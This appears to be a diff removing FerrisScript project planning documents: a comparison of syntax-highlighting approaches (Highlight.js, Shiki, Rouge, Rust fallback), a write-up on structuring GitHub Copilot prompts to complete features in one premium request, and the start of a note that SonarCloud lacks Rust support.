-1. **Create language definition** (JavaScript):
-
-   ```javascript
-   export default function(hljs) {
-     return {
-       name: 'FerrisScript',
-       aliases: ['ferris', 'ferrisscript'],
-       keywords: {
-         keyword: 'fn let mut if else while return self',
-         type: 'i32 f32 i64 f64 bool String Vector2',
-         literal: 'true false'
-       },
-       contains: [
-         hljs.C_LINE_COMMENT_MODE,
-         hljs.QUOTE_STRING_MODE,
-         hljs.NUMBER_MODE,
-         // ... more patterns
-       ]
-     };
-   }
-   ```
-
-2. **Register language**:
-
-   ```javascript
-   hljs.registerLanguage('ferrisscript', ferrisscript);
-   hljs.highlightAll();
-   ```
-
-**Effort**: Similar to Prism.js (3-4 days)
-
-**Benefits**:
-
-- ✅ Automatic language detection (nice for mixed docs)
-- ✅ Large community and plugin ecosystem
-- ✅ Works on any website
-- ✅ Customizable
-
-**Drawbacks**:
-
-- ⚠️ Slightly heavier than Prism.js
-- ⚠️ Similar limitations (doesn't help on GitHub)
-
-**Comparison to Prism.js**:
-
-- **Prism.js**: More lightweight, better for controlled environments
-- **Highlight.js**: Better auto-detection, larger ecosystem
-- **Choice**: Depends on documentation site framework
-
-**Recommendation**: **Alternative to Prism.js** (v0.4.0+)
-
-- Choose based on docs site framework
-- If using Docusaurus/MkDocs/etc., check what they recommend
-
-**Reference**: https://highlightjs.readthedocs.io/en/latest/language-guide.html
-
----
-
-### Option 4: Shiki (VS Code Powered Highlighter)
-
-**What is Shiki?**
-
-- Syntax highlighter powered by VS Code's TextMate engine
-- Uses **same grammar as VS Code** (perfect for consistency!)
-- Very accurate highlighting (exactly matches editor)
-- Used by modern docs sites (VuePress, Astro, etc.)
-
-**Shiki Project**: https://shiki.matsu.io/
-
-#### How It Works
-
-**Key Advantage**: **Reuses VS Code TextMate grammar!**
-
-- Same `.tmLanguage.json` file we already have
-- No need to write separate highlighting rules
-- Consistency between editor and docs
-
-**Implementation**:
-
-1. **Package TextMate grammar**:
-
-   ```javascript
-   import { getHighlighter } from 'shiki';
-   
-   const highlighter = await getHighlighter({
-     theme: 'nord',
-     langs: [
-       {
-         id: 'ferrisscript',
-         scopeName: 'source.ferrisscript',
-         path: './ferrisscript.tmLanguage.json',  // Reuse VS Code grammar!
-         aliases: ['ferris']
-       }
-     ]
-   });
-   ```
-
-2. **Highlight code**:
-
-   ```javascript
-   const html = highlighter.codeToHtml(code, { lang: 'ferrisscript' });
-   ```
-
-**Effort**:
-
-- Integration: 1 day (reuse existing grammar)
-- Testing: 1 day
-- **Total**: 2 days
-
-**Benefits**:
-
-- ✅ **Reuses VS Code grammar** (no duplicate work!)
-- ✅ Exact consistency with VS Code highlighting
-- ✅ Very accurate (VS Code's mature engine)
-- ✅ Supports all VS Code themes
-- ✅ Modern and actively maintained
-- ✅ Works with static site generators (Astro, VitePress)
-
-**Drawbacks**:
-
-- ⚠️ Heavier than Prism.js/Highlight.js (bundles TextMate engine)
-- ⚠️ Build-time highlighting (not runtime like Prism.js)
-- ⚠️ Better for static sites than client-side highlighting
-- ❌ Doesn't help on GitHub
-
-**Use Cases**:
-
-- Static documentation sites (VitePress, Astro, Docusaurus)
-- API documentation generators
-- Tutorial sites with build step
-
-**Recommendation**: **Best option for documentation site** (v0.4.0+)
-
-- Reuses existing VS Code work
-- Perfect consistency
-- Modern tooling

-### Option 5: Rouge Lexer (GitHub Pages / Jekyll Support)
-
-**What is Rouge?**
-
-- Syntax highlighter used by GitHub Pages and Jekyll
-- Written in Ruby (not JavaScript)
-- Powers server-side highlighting on GitHub Pages
-- Alternative to GitHub Linguist for GitHub Pages sites
-
-**Rouge Project**: https://github.com/rouge-ruby/rouge
-
-#### How GitHub Pages Highlighting Works
-
-**Server-Side Processing**:
-
-- GitHub Pages uses Jekyll + Rouge for markdown rendering
-- Syntax highlighting happens **server-side**, not in browser
-- Rouge only supports languages with Ruby lexers
-- Cannot use TextMate grammars (`.tmLanguage`) directly
-
-**Example**:
-
-````markdown
-```python
-print("hello")
-```
-````
-
-→ Rendered via Rouge's built-in Python lexer (server-side)
-
-**Current Problem**:
-
-````markdown
-```ferrisscript
-let x: i32 = 42;
-```
-````
-
-→ Renders as **plain text** (no `ferrisscript` lexer in Rouge)
-
-#### How to Add a Language to Rouge
-
-**Implementation**:
-
-1. **Write Ruby lexer** (`lib/rouge/lexers/ferrisscript.rb`):
-
-   ```ruby
-   module Rouge
-     module Lexers
-       class FerrisScript < RegexLexer
-         title "FerrisScript"
-         desc "The FerrisScript programming language for Godot"
-         tag 'ferrisscript'
-         aliases 'ferris'
-         filenames '*.ferris'
-         
-         def self.keywords
-           @keywords ||= %w(
-             fn let mut if else while return self
-             i32 f32 i64 f64 bool String
-           )
-         end
-         
-         state :root do
-           rule %r/\s+/, Text
-           rule %r(//.*$), Comment::Single
-           rule %r(/\*.*?\*/), Comment::Multiline
-           
-           rule %r/"[^"]*"/, Str::Double
-           rule %r/\b\d+\.?\d*\b/, Num
-           
-           rule %r/\b(#{keywords.join('|')})\b/, Keyword
-           rule %r/[A-Za-z_]\w*/, Name
-           rule %r/[+\-*\/%=!<>]=?|&&|\|\|/, Operator
-           rule %r/[{}()\[\];,.]/, Punctuation
-         end
-       end
-     end
-   end
-   ```
-
-2. **Add tests** (required by Rouge):
-
-   ```ruby
-   # spec/lexers/ferrisscript_spec.rb
-   describe Rouge::Lexers::FerrisScript do
-     let(:subject) { Rouge::Lexers::FerrisScript.new }
-     
-     it 'tokenizes keywords' do
-       tokens = subject.lex('fn main() { let x = 42; }').to_a
-       # assertions...
-     end
-   end
-   ```
-
-3. **Submit PR to Rouge**:
-   - Fork https://github.com/rouge-ruby/rouge
-   - Add lexer and tests
-   - Submit PR with documentation
-   - Wait for review and merge
-
-4. **Wait for GitHub Pages deployment**:
-   - Rouge must be updated on GitHub Pages servers
-   - Can take weeks/months after merge
-   - No control over deployment timeline
-
-**Effort**:
-
-- Lexer implementation: 1-2 days (Ruby knowledge required)
-- Tests: 1 day
-- PR submission & review: 2-6 weeks (depends on maintainers)
-- **Total**: ~1-2 months from start to GitHub Pages deployment
-
-**Benefits**:
-
-- ✅ Works on GitHub Pages (Jekyll sites)
-- ✅ Server-side highlighting (no JavaScript needed)
-- ✅ Consistent with GitHub.com (if Linguist also submitted)
-- ✅ Zero maintenance after merge (Rouge maintains it)
-
-**Drawbacks**:
-
-- ⚠️ Requires Ruby programming knowledge
-- ⚠️ External dependency (Rouge maintainers must approve)
-- ⚠️ Can be rejected or delayed
-- ⚠️ GitHub Pages deployment delay (weeks/months)
-- ⚠️ Only helps GitHub Pages (not other platforms)
-- ⚠️ Separate from VS Code grammar (duplicate work)
-
-**Comparison to GitHub Linguist**:
-
-- **Linguist**: Affects github.com repo pages and markdown
-- **Rouge**: Affects GitHub Pages (Jekyll) sites
-- **Overlap**: Both needed for complete GitHub coverage
-- **Effort**: Similar (both require PR + review)
-
-**Use Cases**:
-
-- GitHub Pages documentation site
-- Jekyll-based project sites
-- GitHub Pages blog with code examples
-
-**Recommendation**: **Consider for v0.4.0+ IF using GitHub Pages**
-
-- Only needed if building docs on GitHub Pages
-- If using Netlify/Vercel/custom hosting, use Shiki instead
-- If submitting to Linguist, consider Rouge too (double coverage)
-- Not recommended if no GitHub Pages usage planned
-
-**Reference**: https://github.com/rouge-ruby/rouge/wiki/List-of-tokens
-
----
-
-### Option 6: Fallback Strategy (Use Rust Highlighting)
-
-**Short-Term Workaround**:
-Since FerrisScript syntax is heavily inspired by Rust, we can use Rust highlighting as a fallback.
-
-**Markdown Usage**:
-
-````markdown
-```rust
-// Works reasonably well for FerrisScript code
-fn _ready() {
-    let position: Vector2 = Vector2 { x: 100.0, y: 200.0 };
-    self.position = position;
-}
-```
-````
-
-**Accuracy**:
-
-- ✅ Keywords match (`fn`, `let`, `mut`, `if`, `else`, etc.)
-- ✅ Types mostly match (`i32`, `f32`, `bool`, `String`)
-- ✅ Comments match (`//`, `/* */`)
-- ✅ Strings and numbers match
-- ⚠️ Some FerrisScript-specific features not highlighted (e.g., Godot types like `Vector2`)
-- ⚠️ Rust-specific keywords highlighted incorrectly (e.g., `impl`, `trait`)
-
-**Benefits**:
-
-- ✅ Works everywhere immediately (GitHub, GitLab, docs sites)
-- ✅ Zero effort
-- ✅ Good enough for early documentation
-- ✅ No maintenance burden
-
-**Drawbacks**:
-
-- ⚠️ Not 100% accurate
-- ⚠️ May confuse users ("Why is this Rust?")
-- ⚠️ Doesn't highlight FerrisScript-specific features
-
-**Recommendation**: **Use until v0.4.0**
-
-- Good enough for current docs
-- Replace with proper highlighting once language is stable
-- Add note in docs: "Currently using Rust highlighting as approximation"
-

-
-## 🗓️ Recommended Implementation Timeline
-
-### Phase 1: v0.0.3-v0.1.0 (Current) - **Use Rust Fallback**
-
-**Status**: Immediate workaround
-
-**Actions**:
-
-1. Use `rust` language tag in all markdown code blocks
-2. Add note in documentation:
-
-   ```markdown
-   > **Note**: Code examples currently use Rust syntax highlighting as FerrisScript 
-   > syntax is similar. Native FerrisScript highlighting coming in v0.4.0.
-   ```
-
-3. Document this decision in contribution guide
-
-**Rationale**:
-
-- Language syntax still evolving
-- Focus on core features (LSP, Godot integration)
-- Good enough for early adopters
-- Zero effort
-
----
-
-### Phase 2: v0.1.0-v0.2.0 - **Submit to GitHub Linguist**
-
-**Status**: After VS Code TextMate grammar is stable
-
-**Actions**:
-
-1. **Package Linguist submission** (1-2 days):
-   - Create `languages.yml` entry
-   - Include TextMate grammar (`.tmLanguage.json`)
-   - Add sample FerrisScript code
-   - Write submission rationale
-
-2. **Submit PR to GitHub Linguist** (2-4 weeks review):
-   - Link to FerrisScript project
-   - Demonstrate usage/adoption
-   - Respond to maintainer feedback
-
-3. **Update docs after merge**:
-   - Switch markdown code blocks to `ferrisscript`
-   - Remove "Rust fallback" notes
-
-**Prerequisites**:
-
-- ✅ Stable TextMate grammar (v0.1.0)
-- ✅ Established `.ferris` extension
-- ⚠️ Some community adoption (helps PR acceptance)
-- ✅ Stable core syntax (avoid breaking changes)
-
-**Rationale**:
-
-- Timing is right after v0.1.0 (editor support stable)
-- Language syntax relatively stable (core features done)
-- Early enough that users get highlighting when they discover FerrisScript
-- One-time effort, maintained by GitHub
-
-**Effort**: 1-2 days (packaging) + 2-4 weeks (review wait time)
-
----
-
-### Phase 3: v0.4.0+ - **Documentation Site Syntax Highlighting**
-
-**Status**: When building official documentation site
-
-**Recommended Approach**: **Shiki** (reuses VS Code grammar)
-
-**Actions**:
-
-1. **Decide on hosting platform**:
-   - **GitHub Pages (Jekyll)**: Consider Rouge lexer OR Highlight.js client-side
-   - **Netlify/Vercel/Custom**: Use Shiki (recommended)
-   - **VitePress/Astro/Docusaurus**: Use Shiki (native support)
-
-2. **Set up Shiki integration** (if not GitHub Pages):
-   - Install Shiki in docs site build
-   - Configure to load FerrisScript TextMate grammar
-   - Test with various code examples
-   - Verify theme compatibility
-
-3. **Package for distribution**:
-   - Include in docs site repository
-   - Document for contributors
-   - Add to docs build pipeline
-
-4. **Update documentation**:
-   - Switch all code blocks to `ferrisscript`
-   - Showcase syntax highlighting in README
-   - Add highlighting examples to docs
-
-**GitHub Pages Option** (if using Jekyll):
-
-- **Option A**: Submit Rouge lexer (1-2 months, server-side, official)
-- **Option B**: Use Highlight.js (2 days, client-side, immediate)
-- **Recommendation**: Start with Option B, consider Option A for v0.5.0+
-
-**Alternative Frameworks**:
-
-- **Prism.js**: If framework requires it (3-4 days)
-- **Highlight.js**: If framework recommends it (3-4 days)
-
-**Rationale**:
-
-- Happens when we need it (docs site doesn't exist yet)
-- Shiki reuses existing VS Code work (minimal effort)
-- Perfect consistency between editor and docs
-- Modern, well-maintained tool
-- GitHub Pages requires special consideration (Rouge vs client-side)
-
-**Effort**:
-
-- **Shiki**: 2 days
-- **Prism.js/Highlight.js**: 3-4 days
-- **Rouge Lexer**: 1-2 months (if GitHub Pages + long-term)
-
----
-
-### Phase 4: v0.5.0+ (Optional) - **Additional Platforms**
-
-**Status**: As needed for ecosystem growth
-
-**Potential Additions**:
-
-- **GitLab syntax highlighting** (if community uses GitLab)
-- **Stack Overflow syntax highlighting** (if tag gets created)
-- **Discord/Reddit code highlighting** (if community is active)
-- **Jupyter Notebook support** (if FerrisScript REPL exists)
-
-**Effort**: Varies by platform
-
----
-
-## 🎯 Recommended Approach
-
-### Short-Term (Now - v0.1.0): **Rust Fallback**
-
-- ✅ Use `rust` in markdown code blocks
-- ✅ Add explanatory note in docs
-- ✅ Focus on core language development
-- ✅ Zero effort, good enough
-
-### Medium-Term (v0.1.0 - v0.2.0): **GitHub Linguist Submission**
-
-- 📋 Package TextMate grammar for Linguist
-- 📋 Submit PR after v0.1.0 stability

-
-## 💡 Open Questions
-
-1. **Which documentation site generator will we use?**
-   - MkDocs (Python, popular for technical docs)
-   - Docusaurus (React, Facebook's tool)
-   - VitePress (Vue, modern and fast)
-   - Astro (Multi-framework, very modern)
-   - **Decision**: Choose based on v0.4.0 documentation needs
-
-2. **Should we submit to Linguist before v0.1.0?**
-   - Pro: Early users get highlighting immediately
-   - Con: Syntax might still change (breaking changes)
-   - **Recommendation**: Wait until v0.1.0 stable
-
-3. **Should we maintain separate grammars for Linguist and VS Code?**
-   - No - keep single source of truth (VS Code grammar)
-   - Linguist uses TextMate grammars (same format)
-   - **Decision**: Single grammar file, shared across tools
-
-4. **How to handle FerrisScript-specific types in Rust fallback?**
-   - `Vector2`, `Node2D`, etc. won't highlight correctly
-   - Option: Add comments explaining custom types
-   - **Decision**: Accept limitation, fix in v0.4.0+

-# Prompt Optimization Research: Request Efficiency over Token Efficiency
-
-**Date**: October 7, 2025  
-**Context**: GitHub Copilot premium requests optimization  
-**Goal**: Achieve 1 request per feature (plan + execute + finalize in one go)
-
----
-
-## 🎯 Problem Statement
-
-### Current Constraint Model
-
-**User pays per premium Copilot request, NOT per token.**
-
-This fundamentally reframes optimization priorities:
-
-| Metric | Old Model (Token-Limited) | New Model (Request-Limited) |
-|--------|---------------------------|----------------------------|
-| **Long prompts** | 🔴 Expensive (consumes tokens) | 🟢 Free (same cost as short) |
-| **Multiple roundtrips** | 🟢 Acceptable (resets context) | 🔴 Expensive (each = 1 request) |
-| **Re-prompts/clarifications** | 🟢 Normal workflow | 🔴 Burns premium allotment |
-| **Front-loaded context** | ⚠️ Token waste | ✅ Critical investment |
-
-### Current Cost Analysis
-
-Typical feature with current workstream-execution prompt:
-
-| Step | Actor | Description | Premium Request |
-|------|-------|-------------|-----------------|
-| 1️⃣ | User | `/prompt #file:workstream-execution.prompt.md` + context | 1 |
-| 2️⃣ | Copilot | Proposes plan + asks clarifications | ✅ 1 |
-| 3️⃣ | User | Answers questions + "start execution" | 1 |
-| 4️⃣ | Copilot | Executes full plan | ✅ 1 |
-| 5️⃣ | User | Reviews output | 0 (free) |
-
-**Typical feature cost**: 2-4 premium requests
-
-**May climb to 3-4 if**:
-
-- Copilot misinterprets roadmap
-- Asks redundant follow-ups
-- Needs separate doc/test generation pass
-- Requires bug fixes due to validation failures
-
----
-
-## 🎯 Optimization Goal
-
-> **Achieve 1 premium request per feature**, where Copilot can plan + execute + finalize inline.
-
-**Success Pattern**:
-
-```
-User: /prompt #file:workstream-execution.prompt.md + context
-      Feature: [description]
-
-Copilot: [brief plan] + [execution] + [docs] + [tests] + ✅ Complete
-```
-
-**Cost**: 1 premium request total
-
----
-
-## 🔧 Optimization Strategies
-
-### Strategy 1: Clarification Minimization ⭐⭐⭐ (HIGH IMPACT)
-
-**Problem**: Copilot pauses execution to ask questions, requiring another request to proceed.
-
-**Current Behavior**:
-
-```
-Request 1: Copilot asks 15 clarifying questions
-Request 2: User answers → Copilot proceeds
-```
-
-**Optimized Behavior**:
-
-```
-Request 1: Copilot makes reasonable assumptions (noted inline) → proceeds to completion
-```
-
-**Implementation**:
-
-```markdown
-## 🧠 Ambiguity Resolution Strategy
-
-**Default Approach: Self-Resolve with Documented Assumptions**
-
-When encountering ambiguity during context gathering:
-
-1. **Assess Criticality**: Could this ambiguity cause breaking changes or critical errors?
-   - **High Risk** (e.g., API contract changes, data loss): Stop and ask
-   - **Low-Medium Risk** (e.g., test organization, doc structure): Make reasonable assumption
-
-2. **Make Inference**: Use project patterns, existing code, and roadmap context to infer intent
-
-3. **Document Assumption**: Note inline with format:
-   ```
-
-   ⚠️ ASSUMPTION: [What was assumed] based on [reasoning]
-
-   ```
-
-4. **Proceed**: Continue execution without waiting for clarification
-
-**Examples of Self-Resolvable Ambiguities**:
-- Test file naming conventions → Follow existing patterns
-- Documentation structure → Mirror related docs
-- Code organization → Match similar features
-- Variable naming → Use project style guide patterns
-- Error message wording → Keep consistent with existing errors
-
-**Examples Requiring Clarification**:
-- Breaking API changes → Confirm with user
-- Performance trade-offs → Get user priority
-- Security implications → Explicit approval needed
-- Version target unclear → Ask explicitly
-```
-
-**Impact**: Converts 2-request cycles (ask → answer → execute) into 1-request (assume → execute → note).
-
-**Estimated Savings**: 1 request per feature (50% reduction)
-
----
-
-### Strategy 2: Plan + Execute Fusion ⭐⭐⭐ (HIGH IMPACT)
-
-**Problem**: Current prompt separates planning from execution, requiring user approval between phases.
-
-**Current Behavior**:
-
-```
-Request 1: Create detailed execution plan → Wait for approval
-Request 2: Execute plan phases
-```
-
-**Optimized Behavior**:
-
-```
-Request 1: Brief inline plan (≤5 bullets) → Immediate execution → Complete
-```
-
-**Implementation**:
-
-```markdown
-## 🔄 Execution Strategy Enhancement
-
-**Default Mode: Fused Plan + Execute** ✅
-
-When requirements are clear from attached context:
-
-1. **Generate Brief Plan** (≤5 bullets):
-   ```
-
-## Execution Summary
-
-   1. [Phase 1 goal]
-   2. [Phase 2 goal]
-   3. [Phase 3 goal]
-
-   ```
-
-2. **Proceed Immediately to Execution**: No approval required
-
-3. **Document as You Go**: Record decisions inline during implementation
-
-**Fallback: Explicit Planning Mode**
-
-Only use separate planning phase if:
-- User explicitly requests it: "Create execution plan first"
-- Ambiguity is genuinely high-risk (breaking changes, major refactoring)
-- Work scope is unclear even after context analysis
-
-**Mode Indicators**:
-- User says "plan this" → Planning-only mode
-- User says "implement [feature]" → Fused mode (default)
-- No explicit instruction + clear requirements → Fused mode (default)
-```
-
-**Impact**: Merges 2 requests (plan approval + execution) into 1 (fused execution).
-
-**Estimated Savings**: 1 request per feature (50% reduction)
-
----
-
-### Strategy 3: Deterministic Completion Behavior ⭐⭐ (MEDIUM-HIGH IMPACT)
-
-**Problem**: Some executions stop mid-way with incomplete output or "waiting for approval" pauses.
-
-**Current Behavior**:
-
-```
-Request 1: Partial implementation → "Is this what you wanted?"
-Request 2: User confirms → Continue
-```
-
-**Optimized Behavior**:
-
-```
-Request 1: Complete implementation + validation + ✅ marker
-```
-
-**Implementation**:
-
-```markdown
-## ✅ Definition of Done
-
-A workstream execution is **COMPLETE** when ALL of the following are true:
-
-### Code Deliverables
-- ✅ All code files created/modified as planned
-- ✅ All code compiles successfully (`cargo build`)
-- ✅ All tests pass (`cargo test --workspace`)
-- ✅ All linting passes (`cargo clippy -- -D warnings`)
-- ✅ Code formatting applied (`cargo fmt --all`)
-
-### Documentation Deliverables
-- ✅ All documentation created/updated
-- ✅ Markdown linting fixed (`npm run docs:fix`)
-- ✅ Markdown linting passes (`npm run docs:lint`)
-- ✅ All links validated (`npx markdown-link-check` on changed files)
-- ✅ LEARNINGS.md updated with insights
-
-### Validation Deliverables
-- ✅ All acceptance criteria verified
-- ✅ Self-review completed
-- ✅ PR ready for human review
-
-### Output Requirements
-- ✅ Hierarchical output structure followed (see below)
-- ✅ All assumptions documented
-- ✅ Completion marker present: **✅ Workstream Execution Complete**
-
-**DO NOT** end execution with:
-- ❌ "Does this look good?"
-- ❌ "Should I continue?"
-- ❌ Incomplete implementation
-- ❌ Untested code
-- ❌ Unvalidated output
-
-**ALWAYS** end execution with:
-- ✅ Complete, validated implementation
-- ✅ Clear completion marker
-- ✅ Summary of what was delivered
-```
-
-**Impact**: Prevents partial executions requiring follow-up requests.
-
-**Estimated Savings**: 0.5-1 request per feature (25-50% reduction in multi-phase work)
-
----
-
-### Strategy 4: Self-Correction + Validation ⭐⭐ (MEDIUM IMPACT)
-
-**Problem**: Failed builds or validation errors force re-runs to fix issues.
-
-**Current Behavior**:
-
-```
-Request 1: Generate code → Push → CI fails on syntax error
-Request 2: Fix syntax error → Push again
-```
-
-**Optimized Behavior**:
-
-```
-Request 1: Generate code → Self-validate → Fix issues → Push clean code
-```
-
-**Implementation**:
-
-```markdown
-## 🔍 Internal Validation Loop
-
-**Before outputting final implementation, run this validation sequence:**
-
-### Phase 1: Syntax Validation
-```bash
-# Does it compile?
-cargo build --workspace
-```
-
-- **If fails**: Fix syntax errors automatically, retry
-- **If passes**: Proceed to Phase 2
-
-### Phase 2: Test Validation
-
-```bash
-# Do tests pass?
-cargo test --workspace
-```
-
-- **If fails**: Analyze failure, fix logic errors, retry
-- **If passes**: Proceed to Phase 3
-
-### Phase 3: Quality Validation
-
-```bash
-# Does linting pass?
-cargo clippy --workspace --all-targets -- -D warnings
-cargo fmt --all -- --check
-
-# Does doc linting pass?
-npm run docs:lint
-```
-
-- **If fails**: Auto-fix with `cargo fmt` and `npm run docs:fix`, verify clean
-- **If passes**: Proceed to output
-
-### Phase 4: Link Validation (if docs modified)
-
-```bash
-# For each modified markdown file
-npx markdown-link-check <file.md>
-
-# Also check key navigation files
-npx markdown-link-check README.md
-npx markdown-link-check docs/LEARNINGS.md
-```
-
-- **If fails**: Fix broken links, retry
-- **If passes**: Ready for output
-
-**Only after ALL validations pass**: Output final implementation
-
-**Validation Failure Limit**: If 3 consecutive attempts fail, output current state with:
-
-```
-⚠️ VALIDATION ISSUE: [Description of failure]
-Attempted fixes: [What was tried]
-Recommendation: [Manual intervention needed]
-```
-
-```
-
-**Impact**: Fewer re-prompts due to validation failures.
-
-**Estimated Savings**: 0.5-1 request per feature (especially for complex implementations)
-
----
-
-### Strategy 5: Hierarchical Output Structure ⭐ (LOW-MEDIUM IMPACT)
-
-**Problem**: Large, interleaved outputs cause confusion about what was delivered.
-
-**Current Behavior**:
-```
-
-[Code snippet] [explanation] [another code snippet] [doc update]
-User: "Did you update the README?" → Request 2 to clarify
-
-```
-
-**Optimized Behavior**:
-```
-
-Clear sections: Summary → Implementation → Docs → Tests → Complete
-User: [Can see everything at a glance]
-
-```
-
-**Implementation**:
-
-```markdown
-## 📋 Required Output Structure
-
-All workstream executions MUST follow this structure:

-**Next Action**: User reviews changes and creates PR
-```
-
-**This marker MUST be present at end of output.**
-
-```
-
-**Impact**: Easier verification without re-query, clearer communication.
-
-**Estimated Savings**: 0.25 requests per feature (reduces clarification questions)
-
----
-
-### Strategy 6: Execution Mode Toggle ⭐ (LOW IMPACT)
-
-**Problem**: User sometimes wants quick planning without burning premium request on execution.
-
-**Implementation**:
-
-```markdown
-## 🎛️ Execution Modes (Optional User Control)
-
-Modes can be specified in user prompt: `/prompt #file:workstream-execution.prompt.md mode=[mode]`
-
-### Mode: `full` (Default)
-- Plan + Execute + Document + Test in one pass
-- **Use when**: Ready to implement feature
-- **Cost**: 1 premium request
-- **Output**: Complete implementation
-
-### Mode: `plan`
-- Only create execution plan with phases
-- **Use when**: Exploring approach, not ready to execute
-- **Cost**: 1 premium request (but faster)
-- **Output**: Detailed plan document only
-
-### Mode: `execute`
-- Assume plan already exists, produce code/docs only
-- **Use when**: Plan approved, ready for implementation
-- **Cost**: 1 premium request
-- **Output**: Implementation without re-planning
-
-**Default**: If no mode specified, assume `mode=full`
-
-**Examples**:
-```
-
-/prompt #file:workstream-execution.prompt.md mode=plan
-Feature: Add error recovery to parser
-
-/prompt #file:workstream-execution.prompt.md mode=full
-Feature: Add error recovery to parser (proceed with implementation)
-
-```
-```
-
-**Impact**: Gives user control over request granularity, but doesn't reduce requests unless user explicitly chooses planning-only mode.
-
-**Estimated Savings**: 0 requests (flexibility feature, not optimization)
-
----
-
-### Strategy 7: Error Recovery Directive ⭐⭐ (MEDIUM IMPACT)
-
-**Problem**: Copilot sometimes stops execution due to confusion or uncertainty.
-
-**Current Behavior**:
-
-```
-Copilot encounters edge case → "I'm not sure how to handle this" → Stops
-User: "Use approach X" → Request 2
-```
-
-**Optimized Behavior**:
-
-```
-Copilot encounters edge case → Makes best-effort decision → Notes assumption → Continues
-```
-
-**Implementation**:
-
-```markdown
-## 🚀 Forward Progress Mandate
-
-**Core Principle**: Always make forward progress unless ambiguity is genuinely critical.
-
-### When Encountering Uncertainty
-
-**DO**:
-1. Make a reasonable inference based on:
-   - Existing code patterns
-   - Project conventions
-   - Common best practices
-   - Similar features in codebase
-2. Document the assumption inline:
-   ```
-
-   ⚠️ ASSUMPTION: Using pattern X (mirroring similar feature Y)
-
-   ```
-3. Continue execution with chosen approach
-4. Note alternative approaches in "Recommendations" section
-
-**DON'T**:
-- ❌ Stop and ask "How should I handle this?"
-- ❌ Output incomplete work waiting for guidance
-- ❌ Leave placeholder comments like `// TODO: Implement this`
-
-### Exception: Critical Ambiguities
-
-Stop ONLY if:
-- Breaking API changes with unclear contract
-- Security implications requiring explicit approval
-- Data loss/corruption risk
-- Explicit conflict in requirements
-
-For everything else: **proceed with best effort**.
-
-### Example Scenarios
-
-| Scenario | Current Behavior | Optimized Behavior |
-|----------|------------------|-------------------|
-| Unsure about test file location | "Where should I put tests?" | Check existing tests → mirror pattern → proceed |
-| Variable naming ambiguous | "What should I name this?" | Follow Rust conventions → proceed |
-| Edge case handling unclear | "How to handle X?" | Implement defensive approach → note assumption |
-| Doc section ordering unclear | "Where does this go?" | Match similar docs → proceed |
-```
-
-**Impact**: Prevents execution halts, encourages completion in single request.
-
-**Estimated Savings**: 0.5 requests per feature (for complex features with edge cases)
-
----
-
-### Strategy 8: Context Pre-Loading ⭐⭐ (MEDIUM-HIGH IMPACT)
-
-**Problem**: User must repeatedly provide same context across features.
-
-**Current Behavior**:
-
-```
-Each feature: User attaches same roadmap, conventions, checklist templates
-```
-
-**Optimized Behavior**:
-
-```
-Prompt file contains all static context → User only provides feature-specific details
-```
-
-**Implementation** (Already partially implemented, enhance further):
-
-```markdown
-## 📚 Pre-Loaded Project Context
-
-**These are baked into this prompt - you don't need to ask for them:**
-
-### Project Identity
-- **Name**: FerrisScript
-- **Language**: Rust (for compiler/runtime), FerrisScript (language itself)
-- **Domain**: Godot game engine scripting language
-- **Version**: v0.0.3 (current), targeting v0.1.0 (stable release)
-
-### Repository Structure
-```
-
-FerrisScript/
-├── crates/
-│   ├── compiler/    # Lexer, parser, type checker
-│   ├── runtime/     # Runtime execution engine
-│   └── godot_bind/  # Godot GDExtension bindings

-```
-
-### Code Conventions (Rust)
-- **Style**: Standard Rust formatting (`rustfmt`)
-- **Linting**: Clippy in strict mode (`-D warnings`)
-- **Testing**: Inline `mod tests` blocks, integration tests in `tests/`
-- **Naming**: Snake_case for functions/vars, PascalCase for types/structs
-- **Error Handling**: Result types, descriptive error messages
-- **Documentation**: Rustdoc comments for public APIs
-
-### Documentation Conventions
-- **Format**: Markdown (CommonMark)
-- **Linting**: markdownlint with `npm run docs:fix` before commit
-- **Links**: Follow DOCUMENTATION_LINKING_GUIDELINES.md
-  - Long-standing docs (README, CONTRIBUTING) avoid version-specific refs
-  - Use generalized/evergreen content
-  - Always validate links with `npx markdown-link-check`
-- **Dates**: ALWAYS use current date from context (e.g., October 2025, NOT January)
-
-### Branch Naming (Auto-selects PR template)
-- Bug fixes: `bugfix/` or `fix/`
-- Features: `feature/` or `feat/`
-- Documentation: `docs/` or `doc/`
-- Refactoring: `refactor/`
-- Other: Descriptive name
-
-### Commit Message Format (Conventional Commits)
-- Format: `type(scope): description`
-- Types: `feat`, `fix`, `docs`, `refactor`, `test`, `chore`, `perf`, `ci`
-- Examples:
-  - `feat(parser): add error recovery support`
-  - `fix(runtime): handle null pointer in expression evaluation`
-  - `docs: update LEARNINGS.md with Phase 3C insights`
-
-### Quality Standards
-- **Build**: Must compile (`cargo build --workspace`)
-- **Tests**: Must pass (`cargo test --workspace`)
-- **Linting**: Clippy warnings = errors (`-D warnings`)
-- **Docs**: Markdown linting must pass (`npm run docs:lint`)
-- **Links**: All links must be valid (checked before commit)
-- **Coverage**: Maintain or improve coverage (tracked in `tarpaulin.toml`)
-
-### Test Commands
-```bash
-# Build
-cargo build --workspace
-
-# Test
-cargo test --workspace
-
-# Lint
-cargo clippy --workspace --all-targets --all-features -- -D warnings
-cargo fmt --all -- --check
-
-# Doc linting
-npm run docs:fix  # Auto-fix issues
-npm run docs:lint # Verify clean
-
-# Link checking
-npx markdown-link-check <file.md>
-```
-
-### CI/CD Pipeline
-
-- GitHub Actions runs on: `push`, `pull_request`
-- Checks: Build, test, clippy, rustfmt, doc linting
-- Code coverage: Generated with tarpaulin, uploaded to Codecov
-- PR required: At least one approval, all checks passing
-
-### Version Planning
-
-- **v0.0.3** (current): Error handling, basic runtime
-- **v0.0.4** (next): Enhanced diagnostics, more examples
-- **v0.1.0** (stable): Feature-complete, production-ready
-
-**You have all this context - don't ask about it again!**
-
-```
-
-**Impact**: User provides only feature-specific context, not project basics.
-
-**Estimated Savings**: 0.25-0.5 requests per feature (fewer clarifying questions)
-
----
-
-## 📊 Expected Impact Summary

-# SonarCloud Coverage Integration for FerrisScript
-
-**Date**: October 8, 2025  
-**Status**: ⚠️ LIMITATION DISCOVERED - SonarCloud does NOT support Rust  
-**Version**: v0.0.4 (post-v0.0.3 enhancement)
-
----
-
-## 🚨 CRITICAL UPDATE (October 8, 2025)
-
-**DISCOVERY**: SonarCloud does **NOT** natively support Rust language.
-
-**Impact**:
-
-- ❌ SonarCloud cannot analyze Rust code for quality issues
-- ❌ SonarCloud cannot consume Rust coverage reports (LCOV or otherwise)
